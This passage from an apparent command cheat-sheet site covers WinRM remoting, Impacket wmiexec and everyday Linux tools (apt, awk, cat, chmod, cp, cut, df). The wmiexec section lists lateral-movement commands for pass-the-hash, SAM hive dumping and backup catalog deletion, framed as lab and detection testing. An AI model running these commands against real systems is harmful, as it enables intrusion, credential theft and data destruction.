Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Get-WinEvent -LogName 'Security' -FilterXPath "*[System[EventID=4624] and EventData[Data[@Name='LogonType']='3']]" } ``` Remotely searches Security logs for Network Logon (Type 3) events associated with WinRM activity. ## Incident Response ### Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Get-NetTCPConnection | Where-Object { $_.LocalPort -eq 5985 } } ```bash Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Get-NetTCPConnection | Where-Object { $_.LocalPort -eq 5985 } } ``` Identifies active TCP connections on the remote host specifically on the WinRM HTTP port. ### Disable-PSRemoting -Force ```bash Disable-PSRemoting -Force ``` Rapidly disables PowerShell Remoting on the system to stop active lateral movement. ## JEA Configuration ### New-PSSessionConfigurationFile -Path .\JEAConfig.pssc -SessionType RestrictedRemoteServer ```bash New-PSSessionConfigurationFile -Path .\JEAConfig.pssc -SessionType RestrictedRemoteServer ``` Creates a Just Enough Administration (JEA) configuration file to restrict remote capabilities. ### Register-PSSessionConfiguration -Name "Maintenance" -Path .\JEAConfig.pssc ```bash Register-PSSessionConfiguration -Name "Maintenance" -Path .\JEAConfig.pssc ``` Registers a new endpoint on the local machine using the restricted JEA configuration. ## JEA Usage ### Enter-PSSession -ComputerName 192.168.1.10 -ConfigurationName "Maintenance" ```bash Enter-PSSession -ComputerName 192.168.1.10 -ConfigurationName "Maintenance" ``` Connects to a specific named endpoint (JEA) rather than the default PowerShell endpoint. ## Advanced Automation ### Invoke-Command -ComputerName (Get-Content servers.txt) -ScriptBlock { Update-Help } -ThrottleLimit 10 ```bash Invoke-Command -ComputerName (Get-Content servers.txt) -ScriptBlock { Update-Help } -ThrottleLimit 10 ``` Runs a command against a list of servers read from a file, limiting concurrent operations to 10. ## Cleanup ### Remove-Item WSMan:\localhost\Listener\* -Recurse ```bash Remove-Item WSMan:\localhost\Listener\* -Recurse ``` Deletes all configured WinRM listeners, effectively stopping the machine from accepting connections. ### winrm invoke Restore winrm/config ```bash winrm invoke Restore winrm/config ``` Resets the WinRM configuration to its default installation state. ## Diagnostic ### winrm identify -r:http://192.168.1.10:5985 ```bash winrm identify -r:http://192.168.1.10:5985 ``` Queries the remote machine for OS version and WinRM protocol version without a full login. ## Proxy Configuration ### winrm set winrm/config/client @{NetworkDelayms="60000"} ```bash winrm set winrm/config/client @{NetworkDelayms="60000"} ``` Adjusts the network delay timeout for the client, useful for slow or high-latency connections. ## Output Handling ### Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Get-Service } | Select-Object -Property PSComputerName, Name, S ```bash Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Get-Service } | Select-Object -Property PSComputerName, Name, Status ``` Filters and formats object-based output returned from the remote session. ## Automation ### Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { $env:COMPUTERNAME } -HideComputerName ```bash Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { $env:COMPUTERNAME } -HideComputerName ``` Executes remotely but suppresses the 'PSComputerName' property from the output display. ## Port Forwarding ### Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value $true ```bash Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value $true ``` Enables the compatibility listener to support legacy WinRM clients or specific port forwarding scenarios. ## Double Hop ### Enable-WSManCredSSP -Role Client -DelegateComputer "*" ```bash Enable-WSManCredSSP -Role Client -DelegateComputer "*" ``` Configures the client to allow credential delegation to any remote host (high security risk). ### Enable-WSManCredSSP -Role Server ```bash Enable-WSManCredSSP -Role Server ``` Configures the server to accept delegated credentials from a client. ## Access Control ### Set-PSSessionConfiguration -Name Microsoft.PowerShell -ShowSecurityDescriptorUI ```bash Set-PSSessionConfiguration -Name Microsoft.PowerShell -ShowSecurityDescriptorUI ``` Opens a GUI to interactively modify the Access Control List (ACL) for the default PowerShell endpoint. ## Troubleshooting ### Get-WSManInstance -ResourceURI wmicimv2/cim_service -SelectorSet @{Name="WinRM"} -ComputerName 192.168.1.10 ```bash Get-WSManInstance -ResourceURI wmicimv2/cim_service -SelectorSet @{Name="WinRM"} -ComputerName 192.168.1.10 ``` Uses WS-Management protocol to directly query the CIM service status on a remote host. ## Mass Action ### $sessions = New-PSSession -ComputerName (Get-Content hosts.txt); Invoke-Command -Session $sessions -ScriptBlock { gpupda ```bash $sessions = New-PSSession -ComputerName (Get-Content hosts.txt); Invoke-Command -Session $sessions -ScriptBlock { gpupdate /force } ``` Establishes persistent sessions to multiple hosts listed in a file and runs a group policy update on all. ## Cleanup ### Stop-Service WinRM ```bash Stop-Service WinRM ``` Immediately stops the Windows Remote Management service, terminating all active connections. ## Related tools - [Evil-WinRM](https://terminal.rokibulroni.com/tool/lateral/evil-winrm) - [PsExec](https://terminal.rokibulroni.com/tool/lateral/psexec) # Tool: wmiexec > Impacket’s wmiexec.py: a semi-interactive shell over DCOM/WMI that leaves fewer artefacts than service-based execution. - Category: Lateral Movement - Commands: 30 - Page: https://terminal.rokibulroni.com/tool/lateral/wmiexec - Homepage: https://github.com/fortra/impacket - Documentation: https://github.com/fortra/impacket - Tags: remote execution, WMI, Impacket ## Install - apt: `sudo apt install python3-impacket` - pipx: `pipx install impacket` ## Basic Remote Execution ### wmiexec.py administrator@192.168.1.10 ```bash wmiexec.py administrator@192.168.1.10 ``` Initiates a semi-interactive shell on the target using a username and password prompt. ### wmiexec.py administrator:password123@192.168.1.10 ```bash wmiexec.py administrator:password123@192.168.1.10 ``` Connects to the target with the password provided inline in the command string. ## Target Specification ### wmiexec.py lab_domain/administrator:password123@192.168.1.10 ```bash wmiexec.py lab_domain/administrator:password123@192.168.1.10 ``` Authenticates to a specific domain user on the target IP address. ### wmiexec.py administrator:password123@hostname.local ```bash wmiexec.py administrator:password123@hostname.local ``` Targets a remote host using its DNS hostname instead of an IP address. ## Command Execution Workflows ### wmiexec.py administrator:password123@192.168.1.10 "hostname" ```bash wmiexec.py administrator:password123@192.168.1.10 "hostname" ``` Executes a single command non-interactively and retrieves the standard output. ### wmiexec.py administrator:password123@192.168.1.10 "ipconfig /all" ```bash wmiexec.py administrator:password123@192.168.1.10 "ipconfig /all" ``` Runs a detailed network configuration command remotely and exits after output. ### wmiexec.py administrator:password123@192.168.1.10 "whoami /priv" ```bash wmiexec.py administrator:password123@192.168.1.10 "whoami /priv" ``` Checks the privileges of the executing user on the remote system. ## NTLM Hash Authentication ### wmiexec.py -hashes :32693b11e6aa90eb43d32c72a77c1a1a administrator@192.168.1.10 ```bash wmiexec.py -hashes :32693b11e6aa90eb43d32c72a77c1a1a administrator@192.168.1.10 ``` Authenticates using the Pass-the-Hash technique with an NT hash only. ### wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a77c1a1a administrator@192.168.1.10 ```bash wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a77c1a1a administrator@192.168.1.10 ``` Authenticates using the Pass-the-Hash technique with both LM and NT hashes. ### wmiexec.py -hashes :32693b11e6aa90eb43d32c72a77c1a1a lab_domain/admin@192.168.1.10 ```bash wmiexec.py -hashes :32693b11e6aa90eb43d32c72a77c1a1a lab_domain/admin@192.168.1.10 ``` Performs Pass-the-Hash authentication for a domain account against a target IP. ## Kerberos Authentication ### wmiexec.py -k -no-pass hostname.lab_domain.local ```bash wmiexec.py -k -no-pass hostname.lab_domain.local ``` Authenticates using a Kerberos ticket from the KRB5CCNAME environment variable. ### wmiexec.py -k -no-pass -dc-ip 192.168.1.5 hostname.lab_domain.local ```bash wmiexec.py -k -no-pass -dc-ip 192.168.1.5 hostname.lab_domain.local ``` Uses Kerberos auth while explicitly specifying the Domain Controller IP address. ### wmiexec.py -aesKey 64bit_aes_hex_key_here user@hostname.local ```bash wmiexec.py -aesKey 64bit_aes_hex_key_here user@hostname.local ``` Authenticates using an AES256 key for explicit Kerberos key usage. ## Output and Logging ### wmiexec.py -debug administrator:password123@192.168.1.10 ```bash wmiexec.py -debug administrator:password123@192.168.1.10 ``` Runs the tool in debug mode to display detailed connection and execution logs. ### wmiexec.py -codec utf-8 administrator:password123@192.168.1.10 ```bash wmiexec.py -codec utf-8 administrator:password123@192.168.1.10 ``` Sets the output text encoding codec to handle non-ASCII characters correctly. ## Lateral Movement Simulation ### wmiexec.py administrator:password123@192.168.1.10 "net user /domain" ```bash wmiexec.py administrator:password123@192.168.1.10 "net user /domain" ``` Simulates lateral reconnaissance by querying domain users from a compromised host. ### wmiexec.py administrator:password123@192.168.1.10 "net group 'Domain Admins' /domain" ```bash wmiexec.py administrator:password123@192.168.1.10 "net group 'Domain Admins' /domain" ``` Simulates privileged group enumeration often performed after initial access. ### wmiexec.py administrator:password123@192.168.1.10 "type C:\Users\Administrator\Desktop\flag.txt" ```bash wmiexec.py administrator:password123@192.168.1.10 "type C:\Users\Administrator\Desktop\flag.txt" ``` Simulates data exfiltration or looting by reading specific files from the target. ## Blue Team Defensive Validation ### wmiexec.py administrator:password123@192.168.1.10 "powershell -nop -w hidden -c 'Write-Host Test'" ```bash wmiexec.py administrator:password123@192.168.1.10 "powershell -nop -w hidden -c 'Write-Host Test'" ``` Executes PowerShell via WMI to test detection of child process creation events. ### wmiexec.py administrator:password123@192.168.1.10 "certutil -urlcache -split -f http://127.0.0.1/test test.exe" ```bash wmiexec.py administrator:password123@192.168.1.10 "certutil -urlcache -split -f http://127.0.0.1/test test.exe" ``` Tests detection rules for ingress tool transfer using living-off-the-land binaries. ### wmiexec.py administrator:password123@192.168.1.10 "reg save HKLM\SAM sam.save" ```bash wmiexec.py administrator:password123@192.168.1.10 "reg save HKLM\SAM sam.save" ``` Simulates credential dumping activity to validate registry access alerting. ## Advanced and Combined Workflows ### wmiexec.py -shell-type powershell administrator:password123@192.168.1.10 ```bash wmiexec.py -shell-type powershell administrator:password123@192.168.1.10 ``` Instantiates the remote shell using PowerShell instead of the default CMD (if supported). ### wmiexec.py -ts administrator:password123@192.168.1.10 ```bash wmiexec.py -ts administrator:password123@192.168.1.10 ``` Prepends timestamps to the output logs for better timeline analysis during testing. ## Incident Response Simulation ### wmiexec.py administrator:password123@192.168.1.10 "tasklist /v" ```bash wmiexec.py administrator:password123@192.168.1.10 "tasklist /v" ``` remotely lists running processes to identify suspicious activity or confirm execution. ### wmiexec.py administrator:password123@192.168.1.10 "netstat -anob" ```bash wmiexec.py administrator:password123@192.168.1.10 "netstat -anob" ``` Retrieves active network connections and associated binaries for forensic triage. ## Automation and Scripting ### wmiexec.py -no-output administrator:password123@192.168.1.10 "ping -n 1 127.0.0.1" ```bash wmiexec.py -no-output administrator:password123@192.168.1.10 "ping -n 1 127.0.0.1" ``` Executes a command blindly without waiting for or retrieving the output file. ### wmiexec.py administrator:password123@192.168.1.10 "dir C:\Windows\System32\drivers\etc\hosts" ```bash wmiexec.py administrator:password123@192.168.1.10 "dir C:\Windows\System32\drivers\etc\hosts" ``` Verifies file existence remotely, often used in automated configuration checks. ## Purple Team Detection Testing ### wmiexec.py administrator:password123@192.168.1.10 "vssadmin list shadows" ```bash wmiexec.py administrator:password123@192.168.1.10 "vssadmin list shadows" ``` Executes commands often associated with ransomware reconnaissance to test EDR logic. ### wmiexec.py administrator:password123@192.168.1.10 "wbadmin delete catalog -quiet" ```bash wmiexec.py administrator:password123@192.168.1.10 "wbadmin delete catalog -quiet" ``` Simulates backup deletion attempts to trigger high-severity backup tampering alerts. ## Cleanup and Safe Termination ### wmiexec.py administrator:password123@192.168.1.10 "del C:\Windows\Temp\wmi_output_*.txt" ```bash wmiexec.py administrator:password123@192.168.1.10 "del C:\Windows\Temp\wmi_output_*.txt" ``` Manually cleans up any artifact files left if the automatic cleanup mechanism fails. ## Related tools - [PsExec](https://terminal.rokibulroni.com/tool/lateral/psexec) - [smbexec](https://terminal.rokibulroni.com/tool/lateral/smbexec) - [CrackMapExec / NetExec](https://terminal.rokibulroni.com/tool/lateral/crackmapexec) # Tool: APT > Debian and Ubuntu’s package manager: install, update, search and remove software and inspect package sources. - Category: Linux - Commands: 20 - Page: https://terminal.rokibulroni.com/tool/linux/apt - Homepage: https://wiki.debian.org/Apt - Documentation: https://manpages.debian.org/apt - Tags: packages, Debian, Ubuntu ## Installing ### sudo apt update ```bash sudo apt update ``` Refreshes the package lists from the configured repositories. Run this before installing or upgrading. ### sudo apt install ```bash sudo apt install ``` Example: ```bash sudo apt install nmap ``` Installs a package and its dependencies. ### sudo apt install --no-install-recommends ```bash sudo apt install --no-install-recommends ``` Example: ```bash sudo apt install --no-install-recommends ffuf ``` Skips recommended extras to keep the system lean. ### sudo apt install ./.deb ```bash sudo apt install ./.deb ``` Example: ```bash sudo apt install ./tool_1.0_amd64.deb ``` Installs a local .deb and resolves its dependencies. ### sudo apt reinstall ```bash sudo apt reinstall ``` Example: ```bash sudo apt reinstall openssh-server ``` Reinstalls a package, restoring modified files. ## Upgrading and removing ### sudo apt upgrade ```bash sudo apt upgrade ``` Upgrades installed packages without removing any. ### sudo apt full-upgrade ```bash sudo apt full-upgrade ``` Upgrades and allows removals when dependencies change. ### apt list --upgradable ```bash apt list --upgradable ``` Shows pending upgrades. ### sudo apt remove ```bash sudo apt remove ``` Example: ```bash sudo apt remove telnet ``` Removes a package but keeps its configuration. ### sudo apt purge ```bash sudo apt purge ``` Example: ```bash sudo apt purge apache2 ``` Removes a package and its configuration. ### sudo apt autoremove ```bash sudo apt autoremove ``` Removes dependencies no longer needed. ## Querying ### apt search ```bash apt search ``` Example: ```bash apt search wordlist ``` Searches package names and descriptions. ### apt show ```bash apt show ``` Example: ```bash apt show hashcat ``` Version, size, dependencies and description. ### apt list --installed ```bash apt list --installed ``` Every installed package. ### apt-cache policy ```bash apt-cache policy ``` Example: ```bash apt-cache policy openssl ``` Installed and candidate versions and which repository each comes from. ### dpkg -L ```bash dpkg -L ``` Example: ```bash dpkg -L openssh-server ``` Files installed by a package. ### dpkg -S ```bash dpkg -S ``` Example: ```bash dpkg -S /usr/bin/nc ``` Which package owns a file. ### dpkg --verify ```bash dpkg --verify ``` Reports installed files whose checksums no longer match the package — a quick integrity check after a compromise. ## Holding ### sudo apt-mark hold ```bash sudo apt-mark hold ``` Example: ```bash sudo apt-mark hold linux-image-generic ``` Pins a package at its current version. ### apt-mark showmanual ```bash apt-mark showmanual ``` Packages that were installed explicitly rather than as dependencies. ## Related tools - [DNF](https://terminal.rokibulroni.com/tool/linux/dnf) - [pacman](https://terminal.rokibulroni.com/tool/linux/pacman) # Tool: awk > A pattern-scanning language for column-based text: extract fields, compute totals and reformat output. - Category: Linux - Commands: 15 - Page: https://terminal.rokibulroni.com/tool/linux/awk - Homepage: https://www.gnu.org/software/gawk/ - Documentation: https://www.gnu.org/software/gawk/manual/gawk.html - Tags: text processing, columns ## Install - apt: `sudo apt install gawk` - brew: `brew install gawk` ## Fields ### awk '{print $1}' ```bash awk '{print $1}' ``` Example: ```bash awk '{print $1}' access.log ``` Prints the first whitespace-separated field of each line — the client IP in a web log. ### awk '{print $1, $NF}' ```bash awk '{print $1, $NF}' ``` Example: ```bash awk '{print $1, $NF}' data.txt ``` Prints the first and last field; NF is the number of fields. ### awk -F'' '{print $}' ```bash awk -F'' '{print $}' ``` Example: ```bash awk -F: '{print $1, $7}' /etc/passwd ``` Sets a custom field separator — here, user names and login shells. ### awk -F, 'NR>1 {print $2}' ```bash awk -F, 'NR>1 {print $2}' ``` Example: ```bash awk -F, 'NR>1 {print $2}' users.csv ``` Skips the header row (NR is the line number). ## Filtering ### awk '//' ```bash awk '//' ``` Example: ```bash awk '/Failed password/' /var/log/auth.log ``` Prints lines matching a regex, like grep. ### awk '$ ' ```bash awk '$ ' ``` Example: ```bash awk '$9 == 404' access.log ``` Filters on a field value — here, requests that returned 404. ### awk -F: '$3 == 0' /etc/passwd ```bash awk -F: '$3 == 0' /etc/passwd ``` Finds every account with UID 0. Anything other than root is a red flag. ### awk -F: '$7 !~ /nologin|false/' /etc/passwd ```bash awk -F: '$7 !~ /nologin|false/' /etc/passwd ``` Lists accounts that have a real login shell. ### awk 'length > ' ```bash awk 'length > ' ``` Example: ```bash awk 'length > 200' app.log ``` Prints lines longer than n characters. ## Counting and summing ### awk '{sum += $} END {print sum}' ```bash awk '{sum += $} END {print sum}' ``` Example: ```bash awk '{sum += $10} END {print sum}' access.log ``` Sums a column — here, total bytes sent. ### awk '{c[$1]++} END {for (k in c) print c[k], k}' | sort -rn ```bash awk '{c[$1]++} END {for (k in c) print c[k], k}' | sort -rn ``` Example: ```bash awk '{c[$1]++} END {for (k in c) print c[k], k}' access.log | sort -rn | head ``` Counts occurrences of each value — the top requesting IPs. ### awk 'END {print NR}' ```bash awk 'END {print NR}' ``` Example: ```bash awk 'END {print NR}' targets.txt ``` Counts lines, like wc -l. ### awk '!seen[$0]++' ```bash awk '!seen[$0]++' ``` Example: ```bash awk '!seen[$0]++' urls.txt ``` Removes duplicate lines while keeping the original order. ## Formatting ### awk '{printf "%-20s %s\n", $1, $2}' ```bash awk '{printf "%-20s %s\n", $1, $2}' ``` Example: ```bash awk '{printf "%-20s %s\n", $1, $2}' hosts.txt ``` Formats output in aligned columns with printf. ### awk 'BEGIN {OFS=","} {$1=$1; print}' ```bash awk 'BEGIN {OFS=","} {$1=$1; print}' ``` Example: ```bash awk 'BEGIN {OFS=","} {$1=$1; print}' table.txt ``` Converts whitespace-separated columns to CSV. ## Related tools - [sed](https://terminal.rokibulroni.com/tool/linux/sed) - [cut](https://terminal.rokibulroni.com/tool/linux/cut) - [grep](https://terminal.rokibulroni.com/tool/linux/grep) # Tool: cat > Concatenates files and prints them to standard output — view, combine and create files. - Category: Linux - Commands: 13 - Page: https://terminal.rokibulroni.com/tool/linux/cat - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/cat.1.html - Tags: files, text ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Viewing ### cat ```bash cat ``` Example: ```bash cat /etc/os-release ``` Prints a file to the terminal. /etc/os-release is a quick way to identify the distribution. ### cat -n ```bash cat -n ``` Example: ```bash cat -n script.sh ``` Numbers every output line. ### cat -b ```bash cat -b ``` Example: ```bash cat -b config.ini ``` Numbers only non-blank lines. ### cat -A ```bash cat -A ``` Example: ```bash cat -A data.csv ``` Reveals hidden characters: tabs as ^I, line ends as $ — great for spotting Windows line endings (^M$). ### cat -s ```bash cat -s ``` Example: ```bash cat -s notes.txt ``` Squeezes repeated blank lines into one. ## Combining and creating ### cat > ```bash cat > ``` Example: ```bash cat part1.txt part2.txt > full.txt ``` Concatenates files into a new file. ### cat >> ```bash cat >> ``` Example: ```bash cat new-hosts.txt >> targets.txt ``` Appends a file to the end of another. ### cat > << 'EOF' ```bash cat > << 'EOF' ``` Example: ```bash cat > hello.sh << 'EOF' #!/bin/sh echo hello EOF ``` Writes multiple lines into a file using a here-document; quoting EOF stops variable expansion. ### cat - ```bash cat - ``` Reads from standard input until Ctrl-D — a quick way to paste text. ## Recon ### cat /etc/passwd ```bash cat /etc/passwd ``` Lists local accounts, their UID/GID, home directory and login shell. ### cat /proc/version ```bash cat /proc/version ``` Shows the kernel version and the compiler used to build it. ### cat /etc/hosts ```bash cat /etc/hosts ``` Shows static hostname mappings, which can reveal internal hosts. ### cat ~/.bash_history ```bash cat ~/.bash_history ``` Reads the shell history — often contains typed passwords, hostnames and paths. ## Related tools - [less](https://terminal.rokibulroni.com/tool/linux/less) - [head](https://terminal.rokibulroni.com/tool/linux/head) - [tail](https://terminal.rokibulroni.com/tool/linux/tail) # Tool: cd > The shell built-in that changes the current directory, including shortcuts for home, previous and parent directories. - Category: Linux - Commands: 13 - Page: https://terminal.rokibulroni.com/tool/linux/cd - Documentation: https://www.gnu.org/software/bash/manual/bash.html#index-cd - Tags: navigation, shell built-in ## Navigation ### cd ```bash cd ``` Example: ```bash cd /var/log ``` Changes the current directory to an absolute or relative path. ### cd ```bash cd ``` With no argument, returns to your home directory. ### cd ~ ```bash cd ~ ``` Also goes home; ~ expands to $HOME. ### cd ~ ```bash cd ~ ``` Example: ```bash cd ~alice ``` Goes to another user's home directory, if you have permission. ### cd .. ```bash cd .. ``` Moves up one level to the parent directory. ### cd ../.. ```bash cd ../.. ``` Moves up two levels. ### cd - ```bash cd - ``` Jumps back to the previous directory and prints its path — toggles between two locations. ## Links and the stack ### cd -P ```bash cd -P ``` Example: ```bash cd -P /var/www/current ``` Resolves symbolic links and enters the physical directory. ### pushd ```bash pushd ``` Example: ```bash pushd /etc/nginx ``` Changes directory and pushes the old one onto a stack. ### popd ```bash popd ``` Returns to the directory on top of the stack. ### dirs -v ```bash dirs -v ``` Shows the directory stack with index numbers. ## Tips ### cd "" ```bash cd "" ``` Example: ```bash cd "My Documents" ``` Quote paths that contain spaces, or escape each space with a backslash. ### CDPATH=.:~/projects ```bash CDPATH=.:~/projects ``` Example: ```bash CDPATH=.:~/projects; cd terminal ``` Sets extra base directories that cd searches, so you can jump to frequent folders by name. ## Related tools - [pwd](https://terminal.rokibulroni.com/tool/linux/pwd) - [ls](https://terminal.rokibulroni.com/tool/linux/ls) # Tool: chmod > Changes file permissions using symbolic or octal modes, including setuid, setgid and sticky bits. - Category: Linux - Commands: 17 - Page: https://terminal.rokibulroni.com/tool/linux/chmod - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/chmod.1.html - Tags: permissions, security ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Symbolic modes ### chmod +x ```bash chmod +x ``` Example: ```bash chmod +x exploit.sh ``` Makes a file executable. ### chmod u+x ```bash chmod u+x ``` Example: ```bash chmod u+x run.sh ``` Executable for the owner only. ### chmod go-rwx ```bash chmod go-rwx ``` Example: ```bash chmod go-rwx id_rsa ``` Removes all access for group and others. ### chmod a+r ```bash chmod a+r ``` Example: ```bash chmod a+r index.html ``` Readable by everyone. ### chmod u=rw,go=r ```bash chmod u=rw,go=r ``` Example: ```bash chmod u=rw,go=r notes.txt ``` Sets exact permissions per class. ## Octal modes ### chmod 644 ```bash chmod 644 ``` Example: ```bash chmod 644 index.html ``` rw-r--r--: owner reads and writes, everyone else reads. Typical for files. ### chmod 755 ```bash chmod 755 ``` Example: ```bash chmod 755 /var/www/html ``` rwxr-xr-x: typical for directories and scripts. ### chmod 600 ```bash chmod 600 ``` Example: ```bash chmod 600 ~/.ssh/id_ed25519 ``` rw-------: private keys must be this strict or SSH refuses them. ### chmod 700 ```bash chmod 700 ``` Example: ```bash chmod 700 ~/.ssh ``` Only the owner can enter or list. ## Special bits ### chmod u+s ```bash chmod u+s ``` Example: ```bash chmod u+s /usr/local/bin/tool ``` Sets SUID: the program runs with its owner’s privileges. Dangerous on root-owned binaries. ### chmod g+s ```bash chmod g+s ``` Example: ```bash chmod g+s /srv/shared ``` SGID on a directory: new files inherit the directory’s group. ### chmod +t ```bash chmod +t ``` Example: ```bash chmod +t /srv/upload ``` Sticky bit: users can delete only their own files, as in /tmp. ### chmod 4755 ```bash chmod 4755 ``` Octal SUID plus 755. The leading digit is 4 for SUID, 2 for SGID and 1 for sticky. ## Recursive ### chmod -R ```bash chmod -R ``` Example: ```bash chmod -R go-w /var/www ``` Applies a mode to a whole tree. ### find -type d -exec chmod 755 {} + ```bash find -type d -exec chmod 755 {} + ``` Example: ```bash find /var/www -type d -exec chmod 755 {} + ``` Sets directories and files differently — usually what you want instead of chmod -R. ### find -type f -exec chmod 644 {} + ```bash find -type f -exec chmod 644 {} + ``` Example: ```bash find /var/www -type f -exec chmod 644 {} + ``` Sets every file to 644. ### chmod --reference= ```bash chmod --reference= ``` Example: ```bash chmod --reference=good.conf broken.conf ``` Copies permissions from another file (GNU). ## Related tools - [chown](https://terminal.rokibulroni.com/tool/linux/chown) - [ls](https://terminal.rokibulroni.com/tool/linux/ls) - [find](https://terminal.rokibulroni.com/tool/linux/find) # Tool: chown > Changes the owner and group of files and directories. - Category: Linux - Commands: 10 - Page: https://terminal.rokibulroni.com/tool/linux/chown - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/chown.1.html - Tags: permissions, ownership ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Basics ### chown ```bash chown ``` Example: ```bash sudo chown alice report.txt ``` Changes the owner. ### chown : ```bash chown : ``` Example: ```bash sudo chown www-data:www-data index.php ``` Changes owner and group together. ### chown : ```bash chown : ``` Example: ```bash sudo chown :developers app.py ``` Changes only the group (same as chgrp). ### chown : ```bash chown : ``` Example: ```bash sudo chown bob: notes.txt ``` Sets the owner and the owner’s login group. ### chown -R : ```bash chown -R : ``` Example: ```bash sudo chown -R www-data:www-data /var/www/site ``` Changes ownership recursively. ### chown -v ```bash chown -v ``` Prints every change. ### chown -h ```bash chown -h ``` Changes the symbolic link itself rather than its target. ### chown --reference= ```bash chown --reference= ``` Example: ```bash sudo chown --reference=/var/www /var/www/new ``` Copies ownership from another file (GNU). ### chown : ```bash chown : ``` Example: ```bash sudo chown 1001:1001 data/ ``` Numeric IDs, useful in containers where names do not match. ### chgrp ```bash chgrp ``` Example: ```bash sudo chgrp adm /var/log/app.log ``` Changes only the group. ## Related tools - [chmod](https://terminal.rokibulroni.com/tool/linux/chmod) - [ls](https://terminal.rokibulroni.com/tool/linux/ls) # Tool: cp > Copies files and directories, preserving attributes when asked. - Category: Linux - Commands: 12 - Page: https://terminal.rokibulroni.com/tool/linux/cp - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/cp.1.html - Tags: files ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Basics ### cp ```bash cp ``` Example: ```bash cp config.yml config.yml.bak ``` Copies a file. Overwrites the destination without asking. ### cp / ```bash cp / ``` Example: ```bash cp a.txt b.txt backup/ ``` Copies several files into a directory. ### cp -r ```bash cp -r ``` Example: ```bash cp -r project project-copy ``` Copies a directory recursively. ### cp -i ```bash cp -i ``` Asks before overwriting. ### cp -n ```bash cp -n ``` Never overwrites existing files. ### cp -v ```bash cp -v ``` Prints each file as it is copied. ## Preserving attributes ### cp -p ```bash cp -p ``` Example: ```bash cp -p evidence.log /cases/ ``` Keeps mode, ownership and timestamps. ### cp -a ```bash cp -a ``` Example: ```bash cp -a /etc /backup/etc ``` Archive mode: recursive, preserves everything including symlinks. Best for backups. ### cp -u ```bash cp -u ``` Example: ```bash cp -u *.html /var/www/ ``` Copies only when the source is newer or the destination is missing. ### cp --backup=numbered ```bash cp --backup=numbered ``` Example: ```bash cp --backup=numbered app.conf /etc/app/ ``` Keeps numbered backups of anything it overwrites (GNU). ## Links ### cp -L ```bash cp -L ``` Follows symbolic links and copies what they point to. ### cp -s ```bash cp -s ``` Example: ```bash cp -s /opt/tool/bin/tool ~/bin/tool ``` Creates a symbolic link instead of copying. ## Related tools - [mv](https://terminal.rokibulroni.com/tool/linux/mv) - [rm](https://terminal.rokibulroni.com/tool/linux/rm) # Tool: cut > Extracts columns, fields or characters from each line of input. - Category: Linux - Commands: 9 - Page: https://terminal.rokibulroni.com/tool/linux/cut - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/cut.1.html - Tags: text processing, columns ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Fields ### cut -d'' -f ```bash cut -d'' -f ``` Example: ```bash cut -d: -f1 /etc/passwd ``` Prints field n using a delimiter — here, every user name. ### cut -d'' -f, ```bash cut -d'' -f, ``` Example: ```bash cut -d: -f1,6 /etc/passwd ``` Prints several fields; the delimiter is kept between them. ### cut -d'' -f- ```bash cut -d'' -f- ``` Example: ```bash cut -d, -f3- data.csv ``` Prints field n and everything after it. ### cut -d'' -f --output-delimiter='' ```bash cut -d'' -f --output-delimiter='' ``` Example: ```bash cut -d: -f1,7 --output-delimiter=' -> ' /etc/passwd ``` Changes the delimiter used in the output (GNU). ### cut -d'' -s -f ```bash cut -d'' -s -f ``` Example: ```bash cut -d= -s -f2 settings.conf ``` Skips lines that do not contain the delimiter. ## Characters and bytes ### cut -c- ```bash cut -c- ``` Example: ```bash cut -c1-8 hashes.txt ``` Prints characters a through b of each line. ### cut -b ```bash cut -b ``` Example: ```bash cut -b1-4 data.bin ``` Selects bytes instead of characters. ## In pipelines ### | cut -d' ' -f ```bash | cut -d' ' -f ``` Example: ```bash who | cut -d' ' -f1 | sort -u ``` Extracts a column from command output — here, logged-in users. ### cut -d' ' -f1 | sort | uniq -c | sort -rn ```bash cut -d' ' -f1 | sort | uniq -c | sort -rn ``` Example: ```bash cut -d' ' -f1 access.log | sort | uniq -c | sort -rn | head ``` The classic top-talkers pipeline for web logs. ## Related tools - [awk](https://terminal.rokibulroni.com/tool/linux/awk) - [sort](https://terminal.rokibulroni.com/tool/linux/sort) # Tool: df > Reports free and used disk space on mounted file systems. - Category: Linux - Commands: 8 - Page: https://terminal.rokibulroni.com/tool/linux/df - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/df.1.html - Tags: disk, storage ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Basics ### df -h ```bash df -h ``` Shows disk space for every mounted file system in human-readable units. ### df -h ```bash df -h ``` Example: ```bash df -h /var ``` Shows the file system that holds a path. ### df -hT ```bash df -hT ``` Adds the file-system type column (ext4, xfs, tmpfs…). ### df -i ```bash df -i ``` Shows inode usage. A disk can be “full” with free space if inodes run out. ### df -x tmpfs -x devtmpfs -h ```bash df -x tmpfs -x devtmpfs -h ``` Hides virtual file systems so only real disks remain. ### df -t -h ```bash df -t -h ``` Example: ```bash df -t ext4 -h ``` Shows only one file-system type. ### df --output=source,pcent,target ```bash df --output=source,pcent,target ``` Chooses which columns to print 